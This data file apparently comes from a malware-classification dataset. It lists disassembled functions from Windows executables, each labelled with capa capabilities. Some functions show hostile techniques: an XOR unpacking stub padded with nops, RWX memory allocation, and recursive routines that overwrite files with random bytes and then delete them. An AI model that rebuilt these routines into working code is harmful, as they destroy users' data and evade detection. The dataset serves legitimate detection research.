joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403530
Capabilities:
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
push ebx
push esi
xor esi, esi
cmp dword [0x59d120], 0x400
push edi
jne 0x40359d
push esi
call dword [sym.imp.KERNEL32.dll__lclose]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll__hwrite]
push esi
push esi
call fcn.00403a42
push esi
push esi
call fcn.00403a42
push esi
call fcn.00403c0c
push esi
push esi
push esi
call fcn.004044e3
add esp, 0x18
mov dword [esp + 4], esi
mov dword [esp], esi
call fcn.0040300f
fstp st(0)
push esi
call fcn.00404568
push esi
call fcn.004042fa
push esi
push esi
call fcn.00403936
add esp, 0x10
mov eax, dword [0x429b54]
mov dword [0x59d120], eax
mov eax, dword [0x429b2c]
mov dword [0x59d124], eax
call fcn.00403346
mov dword [ebp - 4], esi
mov ebx, 0x2b259d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor eax, eax
mov dword [ebp - 0x20], esi
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp dword [ebp - 4], ebx
jle 0x4035ff
cmp dword [ebp - 8], 0x785074d5
jne 0x40360b
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x1c1b
jl 0x4035be
xor edi, edi
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push 0x402eb8
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x402f04
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp edi, ebx
jle 0x40363b
cmp dword [ebp - 8], 0x785074d5
jne 0x403644
inc edi
cmp edi, 0x11915
jl 0x40360d
mov eax, dword [0x59c074]
mov dword [0x59c6b4], eax
call eax
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10

Function at 0x404ee0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4280e8]
jne 0x404eea
repz ret
jmp fcn.0040ad12
Function at 0x40aa35
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004076f2
and dword [ebp - 4], 0
cmp dword [0x42a420], 0
mov ebx, eax
jne 0x40aae6
push 0x401bb4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40ab97
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401ba8
push edi
call esi
test eax, eax
je 0x40ab97
push eax
call fcn.00407680
mov dword [esp], 0x401b98
push edi
mov dword [0x42a420], eax
call esi
push eax
call fcn.00407680
mov dword [esp], 0x401b84
push edi
mov dword [0x42a424], eax
call esi
push eax
call fcn.00407680
mov dword [esp], 0x401b68
push edi
mov dword [0x42a428], eax
call esi
push eax
call fcn.00407680
pop ecx
mov dword [0x42a430], eax
test eax, eax
je 0x40aae6
push 0x401b50
push edi
call esi
push eax
call fcn.00407680
pop ecx
mov dword [0x42a42c], eax
mov eax, dword [0x42a42c]
cmp eax, ebx
je 0x40ab3e
cmp dword [0x42a430], ebx
je 0x40ab3e
push eax
call fcn.004076fb
push dword [0x42a430]
mov esi, eax
call fcn.004076fb
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40ab3e
test edi, edi
je 0x40ab3e
call esi
test eax, eax
je 0x40ab35
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40ab35
test byte [ebp - 0xc], 1
jne 0x40ab3e
or dword [ebp + 0x10], 0x200000
jmp 0x40ab77
mov eax, dword [0x42a424]
cmp eax, ebx
je 0x40ab77
push eax
call fcn.004076fb
pop ecx
test eax, eax
je 0x40ab77
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40ab77
mov eax, dword [0x42a428]
cmp eax, ebx
je 0x40ab77
push eax
call fcn.004076fb
pop ecx
test eax, eax
je 0x40ab77
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42a420]
call fcn.004076fb
pop ecx
test eax, eax
je 0x40ab97
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40ab99
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
nop
mov ecx, 0xce73486
nop
nop
nop
test eax, eax
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x4a5c5b44
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x4037e0
Capabilities:
Accept command line arguments

Disassembly:
push ecx
push esi
push edi
mov edi, eax
mov esi, ebx
mov dword [0x40b520], eax
mov dword [0x40a0a4], edx
call fcn.004051e0
xor eax, eax
mov dword [0x40bb44], eax
call dword [sym.imp.KERNEL32.DLL_GetVersion]
mov edx, eax
mov byte [0x40a135], al
shr eax, 0x10
mov word [0x40a137], ax
xor eax, eax
mov ax, word [0x40a137]
and edx, 0xffff
mov dword [0x40a139], eax
xor eax, eax
sar edx, 8
mov al, byte [0x40a135]
and edx, 0xff
mov dword [0x40a13d], eax
xor eax, eax
mov al, dl
mov byte [0x40a136], dl
mov dword [0x40a141], eax
mov eax, dword [0x40a13d]
mov edx, dword [0x40a141]
shl eax, 8
or eax, edx
mov dword [0x40a145], eax
cmp byte [0x40a135], 4
jae 0x403907
mov eax, 0x403778
push eax
xor edx, edx
push 0x4037a5
mov dword [0x40a131], edx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov edx, eax
test eax, eax
je 0x40389a
call edx
mov dword [0x40a131], eax
push 0x104
push 0x40b524
push 0
mov ebx, 0x208
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov edx, 0x40b628
xor eax, eax
mov dword [0x40a100], 0x40b524
call fcn.00405310
mov dword [0x40a10c], 0x40b628
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
call fcn.004053b0
mov edx, eax
mov bl, byte [eax]
mov dword [0x40b518], eax
cmp bl, 0x22
je 0x403911
xor edx, edx
mov dl, byte [eax]
test byte [edx + 0x402dd1], 2
je 0x403929
xor edx, edx
mov dl, byte [eax]
test byte [edx + 0x402dd1], 2
je 0x403930
inc eax
jmp 0x4038f7
mov eax, 0x40378e
jmp 0x403872
inc eax
cmp bl, byte [eax]
je 0x403921
cmp byte [eax], 0
je 0x403921
inc eax
cmp byte [eax], 0x22
jne 0x403916
cmp byte [eax], 0
je 0x4038f7
inc eax
jmp 0x4038f7
test dl, dl
je 0x4038f7
inc eax
jmp 0x4038ea
mov dword [0x40a0fc], eax
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
test eax, eax
je 0x4039a6
call fcn.004053f0
mov edx, eax
mov bx, word [eax]
mov dword [0x40b51c], eax
cmp bx, 0x22
je 0x403979
xor eax, eax
mov ax, word [edx]
call fcn.00405417
test eax, eax
je 0x40399b
xor eax, eax
mov ax, word [edx]
call fcn.00405417
test eax, eax
je 0x4039ab
add edx, 2
jmp 0x403966
lea edx, [eax + 2]
cmp bx, word [edx]
je 0x403990
cmp word [edx], 0
je 0x403990
add edx, 2
cmp word [edx], 0x22
jne 0x403981
cmp word [edx], 0
je 0x403966
add edx, 2
jmp 0x403966
cmp word [edx], 0
je 0x403966
add edx, 2
jmp 0x403958
mov edx, 0x4037b2
mov dword [0x40a108], edx
test edi, edi
jne 0x4039be
mov eax, 1
pop edi
pop esi
pop ecx
ret
push 0x104
push 0x40b830
push esi
mov ebx, 0x208
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov edx, 0x40b934
mov eax, esi
mov dword [0x40a104], 0x40b830
call fcn.00405310
mov dword [0x40a110], 0x40b934
mov eax, 1
pop edi
pop esi
pop ecx
ret

Function at 0x403e10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
push edx
push 0x40
push 0x1000
mov edx, dword [eax]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
pop edx
pop ecx
ret
Function at 0x404e70
Capabilities:
Get file attributes

Disassembly:
push ecx
push edx
push esi
sub esp, 0x140
mov ecx, eax
cmp word [0x40a137], 0x8000
jae 0x404e8f
cmp byte [0x40a135], 4
jae 0x404ede
mov dl, 0x2a
mov esi, ecx
mov al, byte [esi]
cmp al, dl
je 0x404eab
cmp al, 0
je 0x404ea9
inc esi
mov al, byte [esi]
cmp al, dl
je 0x404eab
inc esi
cmp al, 0
jne 0x404e93
sub esi, esi
test esi, esi
jne 0x404ecf
mov dl, 0x3f
mov esi, ecx
mov al, byte [esi]
cmp al, dl
je 0x404ecb
cmp al, 0
je 0x404ec9
inc esi
mov al, byte [esi]
cmp al, dl
je 0x404ecb
inc esi
cmp al, 0
jne 0x404eb3
sub esi, esi
test esi, esi
je 0x404ee7
mov eax, 0xffffffff
add esp, 0x140
pop esi
pop edx
pop ecx
ret
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
jmp 0x404ed4
mov edx, esp
mov eax, ecx
call fcn.004068f0
cmp eax, 0xffffffff
je 0x404ed4
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov eax, dword [esp]
add esp, 0x140
pop esi
pop edx
pop ecx
ret

Function at 0x4073d0
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
push edi
push ebp
sub esp, 8
mov esi, eax
mov ebp, edx
mov edi, ebx
test eax, eax
jl 0x407464
cmp eax, dword [0x40a29c]
jae 0x407464
call fcn.00405110
mov edx, eax
mov dword [esp + 4], eax
mov eax, esi
xor ebx, ebx
call fcn.00406920
test al, 0x80
je 0x407428
mov eax, esi
call dword [0x40a0b0]
push 2
push 0
push 0
push edx
mov ebx, 1
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
cmp eax, 0xffffffff
je 0x407478
push 0
lea eax, [esp + 4]
push eax
push edi
push ebp
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x407482
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
cmp ebx, 1
jne 0x407455
mov eax, esi
call dword [0x40a0b4]
mov eax, edx
call fcn.00404f10
add esp, 8
pop ebp
pop edi
pop esi
pop ecx
ret
call dword [0x40a0a8]
mov dword [eax + 4], 4
mov eax, 0xffffffff
jmp 0x40745c
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
jmp 0x40744d
cmp edi, dword [esp]
je 0x407494
call dword [0x40a0a8]
mov dword [eax + 4], 0xc
cmp ebx, 1
jne 0x4074a1
mov eax, esi
call dword [0x40a0b4]
mov eax, dword [esp]
add esp, 8
pop ebp
pop edi
pop esi
pop ecx
ret
Function at 0x40345a
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404680
push 0x403e24
push eax
mov eax, dword [0x405424]
mov dword fs:[0], esp
mov ecx, dword [sym.imp.CRTDLL.dll__fmode_dll]
sub esp, 0x6c
mov dword [ecx], eax
mov edx, dword [0x405420]
mov eax, dword [sym.imp.CRTDLL.dll__commode_dll]
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [eax], edx
call fcn.00401970
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x2c]
push dword [0x40541c]
push edx
push eax
lea ecx, [ebp - 0x30]
push ecx
call sub.CRTDLL.dll___GetMainArgs
add esp, 0x10
push 0x4040d8
push 0x4040d4
call sub.CRTDLL.dll__initterm
add esp, 8
mov dword [ebp - 4], 0
mov eax, dword [sym.imp.CRTDLL.dll__acmdln_dll]
mov esi, dword [eax]
mov al, byte [esi]
cmp al, 0x22
jne 0x4034f5
mov al, byte [ebp - 0x34]
inc esi
mov al, byte [esi]
test al, al
je 0x4034ed
cmp al, 0x22
jne 0x4034e2
cmp byte [esi], 0x22
jne 0x4034ff
inc esi
jmp 0x4034ff
cmp al, 0x20
jbe 0x4034ff
inc esi
cmp byte [esi], 0x20
ja 0x4034f9
cmp byte [esi], 0
je 0x40350f
cmp byte [esi], 0x20
ja 0x40350f
inc esi
cmp byte [esi], 0
jne 0x403504
mov dword [ebp - 0x50], 0
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x50], 1
mov eax, 0xa
je 0x40352f
movzx eax, word [ebp - 0x4c]
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
push eax
call sub.CRTDLL.dll_exit
jmp 0x40356b
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
pop edi
mov dword fs:[0], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4038f7
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
add ecx, 4
mov dword [0x4040f6], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404650], eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4045e4], eax
mov dword [0x4040ee], eax
mov dword [0x4045d0], 0x30
mov dword [0x4045d4], 2
jmp 0x40393c
mov dword [0x4045d8], 0x40321a
mov dword [0x4045dc], 0
mov dword [0x4045e0], 0
mov dword [0x4045f8], 0x40454d
mov dword [0x4045f0], 0xf
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4045e8], eax
mov dword [0x4045fc], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4045ec], eax
push 0x4045d0
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x4040ee]
push 0
push 0
push 0x1e5
push 0x203
push 0xfffff98e
push 0xfffff9c0
push 0xcf0000
push str.lofegaswer_huijd
push str.lisclass
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x404648], eax
push 5
push dword [0x404648]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x404648]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x404600]
jmp 0x403a10
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x403a02
mov eax, dword [0x404608]
jmp 0x403a2b
call 0x402c21
ret
Function at 0x406655
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.00421df0
push esi
push dword [ebp + 8]
call fcn.0041382b
mov esi, eax
test esi, esi
pop ecx
jge 0x406677
mov esi, 0x186a0
cmp esi, 0x989680
jle 0x40668c
call fcn.00421d82
mov esi, eax
imul esi, esi, 0x3e8
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00421d78
cmp dword [ebp - 4], 0xffffffff
pop ecx
je 0x406715
test esi, esi
jle 0x406703
push ebx
push edi
mov edi, 0x1000
xor ebx, ebx
call fcn.00421d82
cdq
mov ecx, 0x100
idiv ecx
inc ebx
cmp ebx, edi
mov byte [ebp + ebx - 0x1009], dl
jl 0x4066ca
push 0
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 0x1008]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [ebp - 8]
test esi, esi
jg 0x4066c8
pop edi
pop ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
call fcn.00414ef4
pop ecx
pop esi
leave
ret

Function at 0x406718
Capabilities:
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push edi
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 8]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x348]
push 0x42a3b4
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40682f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
test byte [ebp - 0x244], 0x10
je 0x4067b1
cmp byte [ebp - 0x218], 0x2e
je 0x406818
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push 0x42a3a8
push eax
call edi
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push dword [ebp + 0xc]
push eax
call fcn.00406718
add esp, 0x1c
jmp 0x406818
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x42a3b0
lea eax, [ebp - 0x104]
push eax
call esi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x104]
push eax
call esi
lea eax, [ebp - 0x104]
push eax
call fcn.00413f8e
pop ecx
push 0x80
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp byte [ebp + 0xc], 0
lea eax, [ebp - 0x104]
push eax
je 0x406812
call fcn.00406655
jmp 0x406817
call fcn.00414ef4
pop ecx
lea eax, [ebp - 0x244]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40676c
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
xor eax, eax
pop ebx
leave
ret
Function at 0x407850
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x348
push ebx
push esi
push edi
mov edi, dword [ebp + 0x7c]
push 5
inc edi
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 0x78]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
and dword [ebp + 0x7c], 0
lea eax, [ebp - 0x2d8]
push 0x42a3b4
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x2d8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4079b7
test byte [ebp - 0xd0], 0x10
je 0x4078ee
cmp byte [ebp - 0xa4], 0x2e
je 0x4078ee
cmp edi, 3
jg 0x4078ee
lea eax, [ebp - 0xa4]
push eax
push dword [ebp + 0x78]
lea eax, [ebp - 0x1d4]
push 0x42a3a8
push eax
call esi
lea eax, [ebp - 0x1d4]
push edi
push eax
call fcn.00407850
add esp, 0x18
test eax, eax
jne 0x4079ca
lea eax, [ebp - 0xa4]
push 0x42a570
push eax
call fcn.00421f60
test eax, eax
pop ecx
pop ecx
je 0x407908
mov byte [eax], 0
lea eax, [ebp - 0xa4]
push str..exe
push eax
call fcn.00413761
test eax, eax
pop ecx
pop ecx
jne 0x407983
lea eax, [ebp - 0xa4]
push eax
call fcn.00414b64
test al, al
pop ecx
je 0x407983
lea eax, [ebp - 0xa4]
push eax
call fcn.0040777d
test al, al
pop ecx
je 0x407983
lea eax, [ebp - 0xa4]
push eax
call fcn.00407715
test al, al
pop ecx
jne 0x407983
mov eax, dword [0x457880]
mov cl, byte [ebp - 0xa4]
shl eax, 6
cmp cl, byte [eax + 0x454640]
jne 0x407976
mov cl, byte [ebp - 0xa3]
cmp cl, byte [eax + 0x454641]
je 0x407983
lea eax, [ebp - 0xa4]
push eax
call fcn.0040774b
pop ecx
inc dword [ebp + 0x7c]
lea eax, [ebp - 0xd0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x4079b7
cmp dword [0x457880], 0xc7
ja 0x4079b7
cmp dword [ebp + 0x7c], 0x1e
jl 0x4078a7
cmp edi, 1
je 0x4078a7
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov eax, esi
pop esi
pop ebx
add ebp, 0x70
leave
ret
xor esi, esi
inc esi
jmp 0x4079b9

Function at 0x407b0a
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x80
push esi
push dword [ebp + 0x10]
xor ebx, ebx
mov dword [ebp - 4], ebx
call edi
push ebx
push esi
push 2
push ebx
push 2
push 0x40000000
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x407b55
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0x10]
call fcn.00413aac
cmp byte [ebp + 0x14], bl
pop ecx
je 0x407b81
cmp byte [ebp + 0x14], 1
jne 0x407b74
push 5
jmp 0x407b7c
cmp byte [ebp + 0x14], 2
jne 0x407b81
push 7
push dword [ebp + 0x10]
call edi
mov eax, dword [ebp + 0xc]
cmp dword [ebp - 4], eax
pop edi
pop esi
sete al
pop ebx
leave
ret
Function at 0x4092d5
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push esi
push edi
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [ebp + 0xc]
inc ebx
cmp ebx, 1
lea eax, [ebp - 0x348]
jne 0x40930f
push dword [ebp + 0x18]
push dword [ebp + 8]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x409321
push dword [ebp + 8]
push 0x42a3b4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp + 0xc], eax
je 0x409422
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
test byte [ebp - 0x244], 0x10
je 0x4093a6
cmp byte [ebp - 0x218], 0x2e
je 0x40940a
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push 0x42a3a8
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp + 0x18]
lea eax, [ebp - 0x104]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ebx
push eax
call fcn.004092d5
add esp, 0x24
test eax, eax
je 0x40940a
cmp ebx, 3
jg 0x40940a
xor esi, esi
inc esi
jmp 0x409424
lea eax, [ebp - 0x218]
push str..exe
push eax
call fcn.00413761
test eax, eax
pop ecx
pop ecx
je 0x40940a
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call esi
push 0x42a3b0
lea eax, [ebp - 0x104]
push eax
call edi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x104]
push eax
call edi
lea eax, [ebp - 0x104]
push eax
call fcn.00413a97
test eax, eax
pop ecx
je 0x40940a
lea eax, [ebp - 0x104]
push eax
call fcn.0040928f
cmp eax, dword [ebp + 0x10]
pop ecx
jge 0x409434
lea eax, [ebp - 0x244]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40934d
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0x14]
call esi
jmp 0x4093a1

Function at 0x4094e3
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push edi
push 0x80
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x41
xor eax, eax
pop ecx
mov byte [ebp - 0x108], 0
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x108]
push eax
call fcn.00409445
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call fcn.00409201
add esp, 0xc
pop edi
leave
ret
Function at 0x414883
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push esi
push edi
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 8]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
inc dword [ebp + 0xc]
lea eax, [ebp - 0x348]
push 0x42a3b4
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4149cc
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
test byte [ebp - 0x244], 0x10
je 0x414939
cmp byte [ebp - 0x218], 0x2e
je 0x4149b6
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push 0x42a3a8
push eax
call edi
push dword [ebp + 0x14]
lea eax, [ebp - 0x104]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call fcn.00414883
add esp, 0x20
test eax, eax
je 0x4149b6
cmp dword [ebp + 0xc], 2
jg 0x4149b6
xor esi, esi
inc esi
jmp 0x4149ce
cmp dword [ebp + 0x10], 0
je 0x414969
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [ebp + 0x14], eax
jge 0x4149b6
sub eax, dword [ebp + 0x14]
push dword [ebp + 0x10]
lea eax, [ebp + eax - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4149b6
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x42a3b0
lea eax, [ebp - 0x104]
push eax
call esi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x104]
push eax
call esi
push 0x80
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x244]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4148d9
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x414ef4
Capabilities:
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call fcn.00413a97
test eax, eax
pop ecx
jne 0x414f08
mov al, 1
pop esi
ret
push esi
call fcn.00413f8e
pop ecx
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call fcn.00413d02
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
setne al
pop esi
ret

Function at 0x415755
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_EnumWindows]
push edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
xor ebx, ebx
mov edi, 0x4156f5
push edi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
call esi
cmp dword [ebp - 0xc], ebx
jne 0x415797
cmp dword [ebp - 4], ebx
je 0x415797
lea eax, [ebp - 0xc]
push eax
push edi
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call esi
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
pop ebx
leave
ret